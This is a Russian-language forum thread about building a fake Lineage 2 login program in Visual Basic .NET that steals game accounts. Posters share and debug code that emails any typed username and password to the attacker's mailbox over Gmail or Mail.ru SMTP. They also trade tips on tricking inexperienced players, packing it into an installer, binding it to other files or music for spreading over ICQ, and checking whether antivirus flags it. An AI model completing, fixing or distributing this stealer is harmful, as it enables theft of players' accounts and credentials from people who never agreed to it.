[Lineage2-паблик] Как сделать программу для кражи аккаунтов l2(Visual Basic)

[Insane*]

Помогите кто знает в чем проблема(Команда не реализована. Ответ сервера: 5.5.1 Unrecognized command.) Вот такое выскакивает кагда я жму кнопку Log In

[GiV]

Помогите не могу понять что к чему исправте Пж=(


Imports System.Net.Mail
Imports System.Net.WebRequestMethods


Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "dont delete them" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "*********")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]")
mail.To.Add("malinovskiygmail.ru")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(http)://sateda.tsf-team.com)
MsgBox("Disconnected From Server, Please try again later!")
End Sub
End Class

[object]

Парим здесь. Самый легкий фейк

[fuzzion]

Цитата: If TextBox1.Text = "dont delete them" Then

если ты "типо" писал это на сишарпе, то там совсем не такая структура условного оператора.

[taste]

Зря вы выкладываете такое эти нубы от жадности с ума сходят.И на фейки ток самые глупые бараны попадутся.

[cjfor11]

что-то не хочет он отправлять мне на мыло не чего .
Компилируеться и запускаеться, но после нажатия кнопки "log In" тупо виснит .

[OneShot]

Можно и по красивее что нибудь написать =) У меня задумка была вообще сделать точь в точь окно логина линейдж. Но пока тяжеловато осуществить

[On1yFan]

да через бэйсик можно много нарисовать фейков как и сайты фейковый и не париться) но проблема найти нуба который по ведеться

[Wenerol]

Цитата: Сообщение от miledi Кто подскажет как переписать исходник под аську ?

Думаю с помощью VB не сделаешь отправку пассов и логинов в асю, тут другая программа нужна. А так щас на программки типо таких мало кто ведется. Можно для реалистичности прогу запаковать в установщик, будет круче выглядить)

[ymhu4ka]

Цитата: Сообщение от Newb1e Все сделал как написано, но столкнулся с проблемой, когда я захожу в програмку, чтобы ее проверить, и пишу любой логин и пароль, после проверки почты не приходит самого логина, приходит только письмо вида "Username : , Password :", но пароля и логина как видите нету =( в чем же беда ??(((

всё верно... на мыло приходит только вот это "Username : , Password :",

сам лог и парроль не приходит... изза ошибки в коде...
кто может исправить?

[uporovya]

Супер! Здоровская вещь.

Лично я по аналогии быстренько доделал программу...сделал еще один текстбокс, куда нубы будут вписывать вебсайт сервера

+ сделал хелп в проге, оставил фейковские реквизиты
и выдавать буду скорей всего как новейшее АЦП или еще что-то)

Если кому-то что-то непонятно, пишите пм)

[SanD]

 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "mur1")
        'using gmail
        smtpServer.Port = 2525
        smtpServer.Host = "smtp.mail.ru"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]")
        mail.To.Add("[Ссылки могут видеть только зарегистрированные пользователи. ]")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")
    End Sub

Помогите, сделал всё как написано, сперва было как впримере gmail
но писало ошибку

A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

Ошибка отправки сообщения

Поставил на mail . тоже самое

Пожалуйста помогите понять в чём проблема

Заранее спасибо!

[ub3R]

идея хорошая,с помощью клейки мона склеить этот файл с любыми прогами,только трабла в том что антивирус может спалить как пинч.
PS а ваще антивирус этот файл палит?? \\\нет

[Inako]

Смотря какой антивирь... Оно может и не опознать его как "пинч" но если использовать KIS то выскочит запрос на разрешения передачи данных.. Это же сразу выведет на подозрения что данные пойдут не туда куда нужно было... Кста для большей реалстичности действительно нужно добавить хоть какую то связь с сервером, т.е. там адрес и т.д.
Вот интересует вопрос, почему только на gmail идет поддержка?

[ub3R]

значит если сам этот файл не палит то ваще зашибись) можно склеить хоть с муз.треком каким нить и кидать народу по аське)